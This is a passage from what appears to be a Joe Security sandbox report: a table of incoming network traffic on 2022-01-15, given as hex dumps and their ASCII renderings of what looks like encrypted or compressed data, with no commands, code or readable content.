2022-01-15 19:23:32 UTC 4971 IN Data Raw: 59 b0 67 30 d8 b0 12 a1 98 f9 82 11 91 74 17 59 86 e9 e5 1e e6 1e 2a b3 73 97 61 5a f6 87 3d b1 51 05 d8 8f 5b 0e 7f 5e 9a 0e de aa ff 80 32 2b 68 59 2e 32 74 dd 51 06 a1 1b 73 9d b8 a1 b2 b9 3f 5f 57 4e ec 3a 43 89 db 50 1e dc 56 1a 9b 24 18 0e 8f 1b a0 53 1c 08 12 77 56 8d 05 c4 e5 83 af 59 4b b4 0a 7c 11 cf 66 cd 18 60 7c c3 10 f1 6e 3f 68 4c 68 62 ea f2 1e b2 99 17 47 1c b0 15 64 cd 18 34 81 ae 05 6c 92 69 aa 64 83 6d 51 e3 58 87 49 fc 7e 74 4f 3c 79 80 61 3f b7 cd 8b 8c a8 7e e0 5e 01 86 09 59 f9 dc f4 2a 25 b7 c0 9b 79 ef 81 53 9f 69 b1 c6 bf ce 32 91 30 72 f8 e1 c6 23 7e 94 b3 25 e2 43 10 9d 78 b0 7a bb 89 2a 48 07 39 0f 52 2f bc 92 98 59 1d 3f 9a 93 71 4e 5f a4 ae 26 b9 52 9c 15 ad 3b 12 7c 54 7c 46 27 c1 a9 df 12 e3 66 1e 05 4b 7f 00 85 7e ae f7 Data Ascii: Yg0tY*saZ=Q[^2+hY.2tQs?_WN:CPV$SwVYK|f`|n?hLhbGd4lidmQXI~tO<ya?~^Y*%ySi20r#~%Cxz*H9R/Y?qN_&R;|T|F'fK~

2022-01-15 19:23:32 UTC 4987 IN Data Raw: e3 1f e9 ca f4 1d 4d 76 f7 28 07 ae 7b 5f 3f 9c b4 c3 9f 42 02 08 50 2c bc 5c 3b dc 90 0d ce a3 fa 6a d1 1b 77 ef 0d ac 5f f7 df b1 11 7d 1e 9f 2a c0 78 17 77 24 5a 42 2c 7f c6 1d 84 ec cd 01 50 fd b7 b5 34 03 d5 c9 04 7f 64 f3 fe ea b2 20 52 ad e2 9c 34 6b 36 13 b7 16 fd 5f 47 72 d4 70 3f ca dd 11 84 72 c9 42 35 e2 aa 2b 6e 46 81 10 dc a9 1c e4 cb b6 77 2f 4e 78 40 28 72 2b 62 8a 8f e6 51 9c 00 85 28 20 0e c4 a0 0a 35 ad f9 35 ca ed a5 91 73 e1 f6 17 22 d4 56 1a bc d1 24 46 24 97 19 75 b3 ae 8a 95 d4 25 27 4a b0 8a d2 ce 6a 0c f0 38 ac ad 7f 4e d3 58 f6 19 62 f1 b4 92 9f b3 db b7 21 b7 f5 df 5f b6 d9 fa 0b 3a b4 ee 58 e2 07 29 ef e2 f5 ea 43 3b c7 6f 6a a7 32 4f b8 d0 b3 96 c6 2f 1e d3 7a 10 7e 0c a2 b2 60 6e 91 50 e2 31 13 08 d5 5c 88 f6 4a 52 38 c9 6a Data Ascii: Mv({_?BP,\;jw_}*xw$ZB,P4d R4k6_Grp?rB5+nFw/Nx@(r+bQ( 55s"V$F$u%'Jj8NXb!_:X)C;oj2O/z~`nP1\JR8j

2022-01-15 19:23:32 UTC 5003 IN Data Raw: 25 d4 54 58 23 42 06 71 d1 20 9e e6 6f 08 57 3c 01 77 c5 03 3c 4d fa d7 40 e9 36 b3 15 b9 79 2f 4a 75 b2 74 3a 61 48 20 47 3f e2 c7 ea 36 84 08 91 09 33 52 6f 39 a6 50 31 69 f3 c1 a2 7f f4 ac e0 8a 16 44 3f a7 9d aa d6 c0 73 a6 4b62 5e e1 c2 69 11 05 a0 05 90 1e 77 c2 31 71 15 98 b0 5a 33 8a 51 46 3f 32 26 c6 57 0b e1 70 c3 34 ce 50 d2 95 bc 99 35 16 22 e9 dc f3 37 5a b7 ea f4 44 9d dd cd 3b ea 4f 4e a6 bd d0 32 06 22 a7 d1 1b e2 64 7a d1 85 a5 e8 5e 01 48 c9 dd 43 2e b1 86 72 c0 4e b4 dd bf 3f a6 d5 3e ba f5 e2 89 a0 bd 3c a7 8c 32 e3 3f a7 a2 2b 3c 7f 06 86 a7 82 ae f3 bc eb e5 120d 2a ce 47 4d fd f9 5e f1 70 ae 52 f6 f8 d3 32 9b 44 b6 d4 62 fb 53 d5 96 ab 4d d4 74 a3 3b 3e 31 8b 8a d7 34 37 83 fd e1 1a 8d a1 6c 99 72 c3 99 c9 e0 ce 9f 82 08 d3 c9 6b Data Ascii: %TX#Bq oW<w<M@6y/Jut:aH G?63Ro9P1iD?sKb^iw1qZ3QF?2&Wp4P5"7ZD;ON2"dz^HC.rN?><2?+<*GM^pR2DbSMt;>147lrk

2022-01-15 19:23:32 UTC 5019 IN Data Raw: 84 77 c5 de 19 b5 a2 b5 93 88 b3 0a 41 87 95 eb 6a 44 a8 42 17 ca e8 59 74 2f 63 5e 2c e6 a2 9c 32 21 6a 46 25 df 14 1f a9 cb 23 50 16 8f f6 e8 80 b3 cf ad c0 09 9a a5 c4 93 8b 51 e6 d2 21 ee c7 2b cf db 4e 66 81 54 56 66 fe 84 c1 fd c5 dc 7e 5b dc 30 66 c5 7c fd f2 ec 2c 60 9a 60 4b e8 c2 29 75 38 5c ae 07 3b 18 d0 0f 58 f7 44 29 d4 e3 23 0f 1f 53 3a 59 8a df c2 46 2f 51 a4 3f 25 fa 7e 86 66 17 ea d6 69 1a 7a 17 fc db b4 e3 d5 ad 04 67 94 62 cd ba 3b 13 3c ae d2 b1 24 17 4d c3 9f c9 06 ed 20 c2 01 90 e7 bb 10 98 6f 0b 47 0e 6d 6f f3 60 d7 6e 7a 16 56 d5 6c 08 91 0a 5e 24 24 14 cb 3b e8 43 17 66 49 08 68 f8 6f a1 84 ce 49 7d 0f e5 0d 88 9f 32 5e c1 85 6d fc e1 fd 37 4a 4a 27 bf 1f 97 ce 75 86 16 f9 a8 49 74 79 38 6e 3c 0e 55 28 08 ab 48 13 64 41 54 ce 5c Data Ascii: wAjDBYt/c^,2!jF%#PQ!+NfTVf~[0f|,``K)u8\;XD)#S:YF/Q?%~fizgb;<$M oGmo`nzVl^$$;CfIhoI}2^m7JJ'uIty8n<U(HdAT\

2022-01-15 19:23:32 UTC 5035 IN Data Raw: 89 66 67 a4 d8 e6 03 5a 2d be 24 6a 03 ee 06 36 05 48 b6 d0 6f b8 48 2e cb 99 86 ef 12 f7 7f 59 30 9b 28 1e 9c a5 59 cc 14 45 c1 2c ea fe ea 5d 48 de 35 8c 9e 9b cf 54 39 4c f1 42 22 ed aa 24 ff 95 60 ef 7e cf 10 10 10 25 b9 a7 a3 e5 9b 7e 12 01 ea 21 3c 8a 71 74 33 ad 45 73 83 aa b2 4b 0b 80 ae 40 87 73 c9 18 15 b6 7c 81 84 43 1b 36 02 90 df 7e 1c 60 31 c3 59 58 f3 07 4f 57 6f b1 7c 56 dd 4f 45 8b c7 c2 97 fc 45 e8 44 ec b8 64 57 f9 c4 dc b3 a8 52 31 97 5f 09 de da 80 e4 64 19 4b bc e9 82 ac 89 54 ed 2f b7 93 1a 7f 4f 03 ad 1f bb 25 2f 6c c7 49 4d 75 ea e9 a5 d3 23 35 fc 24 69 4c 0b 63 19 a6 4a 4d 63 8c 9d 6a 1f 6a c7 db 20 14 fa ad f3 38 a9 cf d1 c9 57 63 55 2f 8f 2b 00 b3 5a 35 5c 17 d3 3f 7c 1f f4 0e 34 9f b5 03 55 b6 be 68 c8 06 b1 10 99 9b 29 4f 3f Data Ascii: fgZ-$j6HoH.Y0(YE,]H5T9LB"$`~%~!<qt3EsK@s|C6~`1YXOWo|VOEEDdWR1_dKT/O%/lIMu#5$iLcJMcjj 8WcU/+Z5\?|4Uh)O?

2022-01-15 19:23:32 UTC 5051 IN Data Raw: 39 b0 1c 3f 94 9c df 8b 7e ec 77 41 62 ef 25 0d fd 65 70 bf 18 f2 5d 7d 0e 9b 22 68 e3 e4 9e f5 b6 de ac 75 b3 d9 92 22 27 8d fe 7d c4 26 1c 3c 79 37 7f f1 6a a2 be 1d 7d 27 c9 a2 97 fd 11 f9 55 5f ab bf 81 53 f8 28 ae 6a 7e 58 82 3d a5 6e 65 d7 0a fc 4f 6f f1 4c 53 bc d8 a0 2b a1 1f 60 3b b9 48 12 71 f9 a7 4c 3d 53 a1 40 9f d0 7b 9d 19 1e 30 11 d2 3d 79 a4 97 85 fc a5 64 86 d4 14 7f 2c 6b a8 e6 0e 9f 83 c3 e8 1a fc 17 78 3e 5e c1 8c 93 6c 83 9c 31 db 0b 7b b3 7c 7d bf a1 91 46 ad 9b 70 32 aa f6 21 24 c7 d5 3a ad 60 77 e7 9f a7 d2 fe bb ba 82 76 ac 73 bc b4 30 68 9a 90 bb 51 68 10 4f 08 aa 92 69 7c e5 3a 20 44 2f 7d 00 7d 9c f5 f6 c1 b4 a3 5e 52 79 73 d4 54 ee aa 6f eb f5 85 5b 04 33 86 74 96 ff e1 cb 3f 8e 96 ed 4b 64 bc a4 6e 7b 06 ec 31 cb 35 db 48 d7 Data Ascii: 9?~wAb%ep]}"hu"'}&<y7j}'U_S(j~X=neOoLS+`;HqL=S@{0=yd,kx>^l1{|}Fp2!$:`wvs0hQhOi|: D/}}^RysTo[3t?Kdn{15H

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 63 of 103

2022-01-15 19:23:32 UTC 5067 IN Data Raw: 90 93 09 9e 1a 7f d1 cd 65 25 0f 19 47 2b 3d 4c 39 a6 f9 a2 13 ea 93 d4 48 aa 26 fb 21 00 ce 2d 7e 81 6e da bd 7d 3b db fd 45 27 0e 73 5e 7b 80 9f 05 0b b5 09 c9 00 40 96 e2 23 14 74 ed 58 64 57 26 6b 06 d8 49 ed ac 57 11 f0 07 64 a2 12 a8 1d 94 56 a4 91 45 a7 ca 76 d8 0f 14 a1 88 c5 0f 8d 80 ba 0a b0 50 f2 a7 cf 4a 4c e8 61 e2 dd 6e 30 5b e8 7a 69 a0 2a b9 1c bc 8d 46 27 50 1c 21 8a 7e ae 58 b3 58 c2 9b 6b b8 d7 61 15 24 b4 a5 ec 19 87 cf ed 0a 31 d4 7e fb 5a 96 34 a0 90 e8 03 70 cb 5a 53 32 a1 22 ff 0f 48 b4 df b5 7c b3 fa e5 0f 82 69 ea 30 74 bd 41 66 93 e8 30 6c 61 9e 4a 40 ba 0b 7d 8b 65 49 7f ae 25 82 7f 40 6c 87 2c c4 10 7e c1 66 f5 9b 98 a2 b7 e0 b5 ae 6a 58 d4 8f 44 4d fd ed 3e 72 fc 4f 1c 0c de 17 09 e5 ff 94 7b f2 d0 72 aa 69 22 0e 5b c2 1a 92 Data Ascii: e%G+=L9H&!-~n};E's^{@#tXdW&kIWdVEvPJLan0[zi*F'P!~XXka$1~Z4pZS2"H|i0tAf0laJ@}eI%@l,~fjXDM>rO{ri"[

2022-01-15 19:23:32 UTC 5083 IN Data Raw: 00 67 05 5d 6e 66 de a3 e2 3b 62 8a 01 8c de d0 07 c0 d9 1a eb 76 a4 2b 49 40 3d 4c 25 70 a9 69 ef c2 2e 04 4e 57 31 de e9 50 d5 49 e3 59 f1 f9 0f c7 1c 28 c3 42 68 50 bc 37 42 7f 23 93 75 11 98 72 11 4c 16 e3 54 1e 64 b2 dd b8 15 cb 9e b3 b0 14 6e a4 1e 10 bb e5 f6 9d fa 8f fc 84 56 4f 9a ed ca 65 44 9e 47 d8 0e f5 6d 2d ff 9b 1c 09 63 ef 89 47 9f 88 60 7c 6e 0b 2f 6e 44 f2 46 6c b4 64 00 0d b6 a9 f6 93 96 9a 77 37 cc 41 c2 2d c6 69 0d 29 21 67 43 40 d2 9e dd 61 21 58 38 5b 0c 05 b9 58 9a f0 82 9c c0 9b cf a0 2a c6 0b 95 0c 62 ad 61 94 a8 4c 90 00 b5 f8 33 19 c4 5c 29 e2 49 0c 2f 90 d3 0c 64 14 29 33 18 af 74 32 56 1c eb 6b 8c c1 7d 7b 6d a9 2f 5c 40 68 54 11 d2 fe 10 9a bf 76 e4 96 c0 83 84 96 b7 e3 5e ed 57 cc b5 cf 7a c2 19 1d 94 95 1d f9 a5 8f 0d 71 Data Ascii: g]nf;bv+I@=L%pi.NW1PIY(BhP7B#urLTdnVOeDGm-cG`|n/nDFldw7A-i)!gC@a!X8[X*baL3\)I/d)3t2Vk}{m/\@hTv^Wzq

2022-01-15 19:23:32 UTC 5099 IN Data Raw: fc c1 9a 47 2d 50 ec 03 f1 3e 66 ca a9 be 2b f6 55 7e 87 e8 d1 84 0b 9b 6e 0f d5 fc 82 e5 31 34 fa 97 d3 08 33 df b4 1f 1f 6b fd f4 9f fc 23 2c d9 18 ab d5 27 02 83 53 c5 53 f8 bf 97 03 f4 6e 42 a4 a5 cb ae 89 47 50 9e 9b a3 97 27 6e 1c 0a bb 26 e0 50 37 cb 9c 5f 0d 32 97 c7 bb 43 a5 f6 ff a6 7e 1f 32 fd 35 a1 2f 86 e2 3d 51 be e7 85 ef 5f c3 02 b7 d9 bd 8d 63 69 17 59 17 c6 a3 e6 d9 66 62 9a ac 8a ea 7e e2 f1 1a f6 c2 cc 64 6b 1e e1 de 85 30 fb bd 12 c7 87 01 25 0c 83 06 bb 8b db 99 2c 8e 26 c9 fe 4a 50 ab 58 ff 99 c4 51 f4 d2 a5 f6 d5 bc e4 65 b8 13 5e ef d8 4b 52 d4 ed dd 96 37 6f 1c db 24 85 1d a8 49 7b 9b 6a b4 4f 20 bf f8 e7 07 b9 9b c8 a3 ea 42 ac 7b ba 6e 97 e7 fe 43 98 0d 88 7b af 5f e7 6a 2e 6c 40 5c 7d fe eb 7b 76 01 2b 45 20 89 bc e8 e2 35 6c Data Ascii: G-P>f+U~n143k#,'SSnBGP'n&P7_2C~25/=Q_ciYfb~dk0%,&JPXQe^KR7o$I{jO B{nC{_j.l@\}{v+E 5l

2022-01-15 19:23:32 UTC 5115 IN Data Raw: fe bc 29 b2 a6 bf a4 d6 e6 ab 35 39 4d 25 1d a1 ab 4a 59 b9 cd d7 2a 28 33 15 da 54 ee 3f e4 1b 90 e3 8e 63 9a 75 08 e8 30 34 f3 77 53 5f 78 48 db 44 44 69 66 0f 17 36 3e 52 a9 04 82 09 a5 a1 89 1e 96 ae f2 0e e5 ea ac 61 1d de 81 7d 13 c7 03 30 0c 3e 8e 15 21 4c 0c a2 3d d5 5e 7d 98 84 39 39 07 23 9c ac a8 38 76 04 08 88 cf 32 ea 0d ad e9 e0 a5 11 ea 98 fa a5 7c cf b3 89 6c 22 5f cc c0 42 c9 37 3a cc 23 40 99 5a 12 b9 b7 8c c7 db 02 9c 43 64 af 0e a5 73 f2 6b 80 da 27 ec c9 e6 af 87 d6 ae 69 b2 54 f0 ad 42 a5 60 29 a3 53 cf d7 6e a9 fb 17 cd b7 76 70 6a aa 61 f2 cc 1a 2b d9 7d da f0 18 a1 e6 de 86 c5 e3 d9 e6 c8 d1 c8 10 22 71 34 5c 23 16 fd 73 04 be b5 c0 a7 8d 22 e9 d8 51 af 1f 24 03 4a 8f 74 fe 75 65 9a 15 28 07 c6 92 f3 a6 82 c9 9a 5b 98 4b d0 39 17 Data Ascii: )59M%JY*(3T?cu04wS_xHDDif6>Ra}0>!L=^}99#8v2|l"_B7:#@ZCdsk'iTB`)Snvpja+}"q4\#s"Q$Jtue([K9

2022-01-15 19:23:32 UTC 5131 IN Data Raw: 9b 1e 29 38 61 f3 8e 9c 76 da 81 a3 d8 41 cc 33 27 68 ce 1f 45 5f d8 06 7b 32 3e 77 07 dd 84 c7 19 d7 a6 dc d9 d7 7f 32 6b f7 e7 4c 1f ed e3 80 47 d3 ad 98 64 07 d7 d1 e3 4f a1 c4 c5 0c a0 05 ef 4a 71 65 85 36 9f ff a6 63 2e 70 38 36 16 bf c5 78 07 36 7d 92 c8 b6 3d d5 f7 1b e8 20 1c 4f 0e ef bc 45 47 10 78 b5 1e 84 a4 73 2c 88 44 34 aa eb df 79 e7 c2 96 d1 63 61 ad b0 f7 11 69 b7 95 3e 3b 58 c8 a7 b5 a7 96 9d ee fa 4d 15 e0 cf ed c3 1c 69 65 c6 f9 27 f3 d8 68 54 39 31 61 9f 17 0d 3b 4c d1 48 f8 59 46 5b 55 12 e0 ca 41 04 31 06 e1 d1 60 73 6d 6a 2f 6c 2e 0f af 4f f2 31 93 85 d2 1f 4e 16 c7 78 f6 5a 69 4c 32 52 89 08 16 d2 74 76 ca 94 59 ef b9 c9 2e 61 a0 51 40 b1 3a 89 09 27 ea c4 0b e1 48 08 ff 0d e8 d4 fa 5b 14 b8 9d 4c 44 25 d8 b2 21 8e c3 a1 03 f8 80 Data Ascii: )8avA3'hE_{2>w2kLGdOJqe6c.p86x6}= OEGxs,D4ycai>;XMie'hT91a;LHYF[UA1`smj/l.O1NxZiL2RtvY.aQ@:'H[LD%!

2022-01-15 19:23:32 UTC 5147 IN Data Raw: 25 ae 09 db d4 7e f1 76 5d 39 e7 2a df 31 f5 af 8b 5b a2 8f 0c 0b 16 ed 54 7f bb 6b e0 80 9b 30 bd b4 e8 ee a8 09 ce 11 16 0a 40 0e 94 9f 52 86 68 65 7b 7b 97 eb 00 cd c3 60 d6 df e8 a0 50 eb f3 ad 80 dc 95 1d f7 c6 81 c0 df 32 d4 bb fa 9b 46 26 40 6a 94 9c 46 35 12 56 42 7c a9 d8 04 72 e3 05 a6 62 e8 4a bd 02 55 23 85 85 55 33 cd 07 27 7e 8e b9 e7 1d 03 3d 48 5a 8e 50 d1 64 e1 f6 64 90 c8 60 5a 47 fd 1d 23 2a 74 da 37 ec 20 8f 15 2a 5f 0c 8a e8 c8 69 85 b3 13 ff 05 78 96 72 95 29 dd ea 67 6c d0 c4 89 32 8f 47 48 da 74 48 65 99 45 44 f3 a4 4c 9e 12 e2 ed 0f 97 c0 de a3 1f d7 a7 a1 50 0d ce e5 7b 82 b5 b9 f1 c1 a6 56 fb b5 ba c4 94 54 62 28 b2 89 d5 8d 25 67 dd b3 7f c3 4b 26 cc 70 e4 d1 30 29 62 32 19 c9 d1 ee 4e 6b 1f 81 b3 5d 9b 97 df 7a 20 f5 9d 45 f5 Data Ascii: %~v]9*1[Tk0@Rhe{{`P2F&@jF5VB|rbJU#U3'~=HZPdd`ZG#*t7 *_ixr)gl2GHtHeEDLP{VTb(%gK&p0)b2Nk]z E

2022-01-15 19:23:32 UTC 5163 IN Data Raw: 40 a3 d7 1b 5c 57 0b 1f 1f 7a d9 2f 6b f0 ec f0 f9 35 13 0b 1b aa 11 78 cc 37 c0 8d bb 2d f2 02 89 9b 24 f2 20 19 21 08 8e e4 a7 4f fa 6a ee 8d 12 82 50 6d d1 b2 20 1c 9d bb 4f 1e 66 0c 5c 07 ed 20 d0 61 c2 c6 3f 0d 3b 53 51 98 cd c9 e5 b2 b4 e3 ec 09 0a 54 f8 c4 48 9d 0f b4 e7 75 47 a8 69 98 a3 85 45 b6 9e e9 7a b3 19 37 fb ad 52 a1 71 8f b2 47 8d 65 63 36 44 f0 7c 90 b8 b3 15 1f 0b 62 ab 7a bb 63 d8 7a 24 a8 df 66 55 e6 3a 70 26 22 67 74 86 46 a7 91 38 98 90 17 cf 91 c1 74 2f 43 cc 28 c2 6b 82 95 3c 3b 62 4f 33 09 83 ac a0 b8 12 25 8f 46 5c 08 a8 c4 ec 3f 31 c7 37 cb b8 45 69 78 34 4d 0e db e7 e1 bd 64 8e 4a a0 2f 0b 7e 94 67 ca 20 56 a9 34 72 1c 4a d4 ac ac e0 c3 2f aa 0f 31 cc 2e b7 0e 45 09 0c 04 89 79 a7 2c 22 4c c4 f0 f4 1a cb bd 04 d1 96 9f ef 43 Data Ascii: @\Wz/k5x7-$ !OjPm Of\ a?;SQTHuGiEz7RqGec6D|bzcz$fU:p&"gtF8t/C(k<;bO3%F\?17Eix4MdJ/~g V4rJ/1.Ey,"LC

2022-01-15 19:23:32 UTC 5179 IN Data Raw: 2a 32 e0 dc 04 c8 ad 29 22 0e 04 24 ec 87 68 c8 b4 81 6b 2f 6f 8a dc 91 94 6f 15 28 79 96 82 94 a0 5c aa d0 6d ef e7 eb 10 28 40 ad 60 a4 9e c4 a7 0e 37 87 48 37 9d db 7e d5 0c de 2f ca fc 08 7f 9f a6 fe b3 c6 30 d9 a9 24 5c 58 26 7a fa 34 2a 32 14 ca ce b8 a9 72 60 8e 06 7a 12 ad 96 75 5d 36 25 9d 1f a9 35 8b a2 75 3d 64 24 b8 68 65 16 f4 c9 45 ab 82 e4 45 99 1c 03 5b 72 8e b1 26 df 51 f5 5b 6b cf e2 28 c9 98 cd 56 c8 82 71 30 32 fd 12 cd 4b 0c 4a 99 60 d6 ba f4 33 64 4e 8a 54 9a 36 94 d8 55 c8 74 f9 11 50 33 d6 a9 b3 e4 e0 63 fd e6 89 e1 f8 2a b1 4b 69 ae df 7d 41 83 0e 00 0f 02 87 6a 63 b1 70 61 8a 4c 91 b0 e6 c5 a1 37 e3 50 8a e1 d5 3d 1e 27 b5 4d d6 6b 30 32 fe b5 03 1e a5 0c ed 7c c2 5e ad 21 03 09 cc 0f 59 f8 10 06 ba 15 c5 8b ee 3d b5 09 dd a9 bd Data Ascii: *2)"$hk/oo(y\m(@`7H7~/0$\X&z4*2r`zu]6%5u=d$heEE[r&Q[k(Vq02KJ`3dNT6UtP3c*Ki}AjcpaL7P='Mk02|^!Y=

2022-01-15 19:23:32 UTC 5195 IN Data Raw: 45 16 02 7f 0e f9 b3 8b 6b 24 ae f9 84 d8 0a c5 bd 6d fd 77 93 82 bb b7 54 f2 67 4c 49 10 f0 19 49 94 79 33 29 7d 69 f0 00 7b 9c af 9f 9e a0 b2 ec 64 35 6d dd de ff 90 57 60 4e 1c 8d 08 e0 02 11 37 94 c5 3d 8a 6f 76 6e 35 95 5c a3 05 72 04 2d 4a 5c 43 a6 d6 2b a2 05 a2 fe 09 98 b0 d6 ae b2 2c 51 b9 3a 3f b2 78 41 e1 80 14 08 cc 7a cb 0c 1f 24 dd 47 b2 2b bd 87 6b bb 10 7b 49 13 ec 6b 3f ea 79 fb b0 d5 53 9e 44 12 c6 75 a9 99 c1 44 06 0b 8c cf 51 a3 a6 f3 c2 1b 82 88 12 7d 44 ca c1 50 1a 7b 08 a4 1f 44 27 ed 58 e3 10 83 d7 8f b5 b8 de 32 4a d5 b9 12 dd 15 71 ce 09 af e0 07 06 fe 67 51 17 90 2f 63 88 e6 f2 98 2f c2 66 dd c1 f5 57 cf 9d 9d 2e 9e 1f 25 58 71 e6 cb e0 77 ab a6 a8 c0 e7 4a d2 bb 75 ca b3 d5 f7 1f 64 d9 a0 35 eb 39 d1 5a 7e 05 e4 7b e8 b9 99 62 Data Ascii: Ek$mwTgLIIy3)}i{d5mW`N7=ovn5\r-J\C+,Q:?xAz$G+k{Ik?ySDuDQ}DP{D'X2JqgQ/c/fW.%XqwJud59Z~{b

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 64 of 103

2022-01-15 19:23:32 UTC 5211 IN Data Raw: 14 24 ef d0 a1 92 c4 4a 08 e8 2d c9 2c c3 e3 9f 87 7e fc 34 36 c7 fe 34 c3 b4 ce c1 78 63 20 d4 17 f1 2d 1d ce 4c db d5 c0 3e 70 fe 44 1f 99 d7 c7 63 e9 3c 53 ac 0d 55 44 78 f0 df 24 0e 2e a4 6a 26 33 16 af 0e c4 23 61 16 82 e1 e2 93 9b d4 f1 d0 cf 47 33 4d 5c 34 a7 96 36 1d 9a a9 39 9f 3e 49 9c 1c 05 f2 e7 f2 56 0f 90 35 fc 99 7f eb 6f 9c f8 1d a4 c5 91 32 b6 b5 07 36 c1 15 a1 95 9b 55 d9 3e 46 43 35 40 83 cc ab dd 82 31 59 b3 46 2d c9 58 50 46 7e 95 e3 ca 66 15 8a 4b b2 59 ca 6b f2 55 7e 3a 8e 8d 07 8e 67 b2 7e d5 ec bb 3a 94 79 ee 8b cc 06 84 17 da bf 2c 46 d6 dd 6b db be 97 27 db 5f 5f c0 77 b9 4b 4b 07 17 c6 3f f8 77 12 91 f4 4c d3 46 9b 7c 46 4a 39 e9 01 02 ea f9 dd 53 0f ac 5a 0e da 82 f3 6e 7f da 64 7a 29 2b 27 55 d8 cb b1 97 0d 8e 75 57 af c2 b1 Data Ascii: $J-,~464xc -L>pDc<SUDx$.j&3#aG3M\469>IV5o26U>FC5@1YF-XPF~fKYkU~:g~:y,Fk'__wKK?wLF|FJ9SZndz)+'UuW

2022-01-15 19:23:32 UTC 5227 IN Data Raw: 7b 5b 97 87 22 91 06 5f 7f e6 1f a7 e3 be 9a 46 6f 48 27 11 c4 74 de b7 62 68 cd 07 52 18 34 d3 9e 3c 83 e4 02 01 85 38 44 22 8b fa ba db f6 38 59 a2 5d be 13 fd 7c 87 bb 65 f6 e5 4e fa ec 99 39 47 7d 28 4a 5e 6d 4c 18 ef f7 eb d0 af 73 6e 09 4f 65 cf 4a 1a 09 b6 7c 26 2b 8e a4 fa 0e 67 c5 1a e1 6c b0 b6 33 cc 0c 93 4e ec 7e 50 e7 da c5 e3 18 32 8e dc c9 b0 b4 be ef dd 9e 84 1a 1d ba e8 a8 f2 d9 15 f8 e1 f2 10 c0 91 0c 07 b5 ad ec 81 83 a4 8a 91 8c 88 1e 3e ca 91 90 28 a3 a2 4b ca 7f 11 b4 a0 a4 74 b9 22 6f ef d9 d1 94 41 86 3d 5e 6b 21 26 b8 03 e8 b5 47 67 46 84 a7 14 4d 3f ea 65 9f fa 2e 32 dd 60 bb d6 0e df f8 78 df d4 2f 52 89 36 84 f7 c2 4f 61 0b be aa 3c a0 e4 23 2e 66 b9 ff bf 54 18 86 d8 f2 0c 90 71 6d 93 51 37 c9 e3 8a 26 45 c2 43 29 5b 68 22 fa Data Ascii: {["_FoH'tbhR4<8D"8Y]|eN9G}(J^mLsnOeJ|&+gl3N~P2>(Kt"oA=^k!&GgFM?e.2`x/R6Oa<#.fTqmQ7&EC)[h"

2022-01-15 19:23:32 UTC 5243 IN Data Raw: ec fe c2 fa ba 14 40 1e 8e 9d d9 b4 e3 31 c5 ed 01 ce 91 a1 79 b7 fc 85 94 1e dd 8e 7d 3b 24 b4 2c 76 f0 87 b7 c4 38 93 55 2d 62 9f 96 e8 2e 86 e0 35 d5 8a d7 3a e7 9f ef 1c e6 8b 52 ea 78 dd f1 70 f5 aa 6d 1b f9 e4 a7 26 ce 1e 9e 2c 03 47 91 7d 85 e2 88 31 90 3c 46 9b f7 a2 3a c5 3c 2e 93 eb fb c7 32 d2 8d d9 23 69 b0 88 b8 46 13 dd a3 4e 0e bc 40 95 11 b4 5d ea 39 eb 16 34 7e f1 08 c6 45 56 f9 b7 19 ec 14 42 9e a1 14 de 54 92 fa 31 e2 19 4f 97 6c dd 72 6e b4 8d e0 70 e2 83 46 26 e2 44 b6 fb ca d6 ca 81 5c 4b 62 68 4c d0 00 75 5e a1 a6 15 f5 68 17 f7 de ec 3e 95 77 f5 8c 1d 76 f1 09 77 0b b4 7d cc 5a d4 08 71 97 d3 d4 c3 95 c4 e8 e0 d4 f2 07 4c 13 79 2a 23 64 76 a3 8e db 49 79 97 af 24 99 13 65 d4 f1 ec 5b 68 12 5e b6 b4 17 a4 5a f8 e1 91 3d 50 96 48 f0 Data Ascii: @1y};$,v8U-b.5:Rxpm&,G}1<F:<.2#iFN@]94~EVBT1OlrnpF&D\KbhLu^h>wvw}ZqLy*#dvIy$e[h^Z=PH

2022-01-15 19:23:32 UTC 5259 IN Data Raw: a0 8a a2 d6 2f 61 a1 a2 c5 64 7f 08 6e 74 67 fc 27 21 8b 84 e4 f0 80 38 cb 5c 52 13 b9 37 8e af 65 c2 98 22 8e 22 23 93 98 50 05 4d fb 6c 61 55 d3 cd 77 5a 25 26 70 7c 4b c0 7c c0 da 8c 9c fb 64 62 1d 8c 73 a8 00 f1 22 2d fb 9f 98 c8 ba e0 74 1b 40 c3 38 8d 3e 40 a4 6d 60 08 e9 e0 b7 0b c1 09 ea d8 87 d8 7b e7 51 a7 c4 86 8e 8e 3f ee 47 b6 e8 0e 7c a9 c1 24 72 73 ba a6 1a e2 d1 59 a7 17 2a a5 e2 f5 4e fd e0 31 e3 69 39 6d ec ca 79 ff 28 ec f6 ac 74 04 b9 ec 3e f3 6f 8a d3 8f 57 a1 7d bd 3b 5b 9e 0d 29 ce d6 a5 a8 8d da 7e 64 12 ec 35 47 3f d6 84 dc 92 7b 8a 83 da a2 cd 51 63 2b da f7 bf d1 16 57 25 2f 67 44 5e a2 d5 0a 95 e2 3e 31 ce a6 17 10 3d 17 b2 fc 46 ce 71 cc 94 16 a4 73 83 a8 22 0a 0d 99 93 23 a7 db ab 73 dc cb 4f 87 f5 96 dc cf de 15 9d 9a 2e 8f Data Ascii: /adntg'!8\R7e""#PMlaUwZ%&p|K|dbs"-t@8>@m`{Q?G|$rsY*N1i9my(t>oW};[)~d5G?{Qc+W%/gD^>1=Fqs"#sO.

2022-01-15 19:23:32 UTC 5275 IN Data Raw: d5 de 44 cd b5 5d a5 7e 9d c2 0f 02 e4 48 7f 61 c8 46 75 c3 5d 55 63 be d0 be be 6f 50 29 26 c5 87 47 a3 b8 d3 3f 88 b1 b1 5c 28 12 73 03 2c 8b 6c 54 6a 48 83 95 4d 69 72 01 02 f9 c8 e3 03 0b 6f ff b5 86 e1 36 0d ef 9d d3 c6 1d 3063 cd 19 8a 9c d0 01 22 ee ec 53 7a 2b 5f b9 53 61 3d 67 f2 71 6a de 94 b7 52 bc b7 1f 1d 6a c4 28 97 8e c6 b5 79 5e ab 57 e3 e9 46 f0 b1 eb 8d 64 5c 9a 9c 24 ef 6e d2 a3 fc 40 99 78 bc f9 9b 62 61 bb 87 f9 29 b1 05 96 8e d9 78 29 88 4e d1 5a 30 1b 4d 8f f9 e2 0c c6 4e 07 29 ed 10 7a 88 d3 5a 06 fc d0 8b 87 3b 38 f1 79 a2 26 02 ec f2 c3 d0 3e 1c c5 08 0d 3a 16 d5 f0 f9 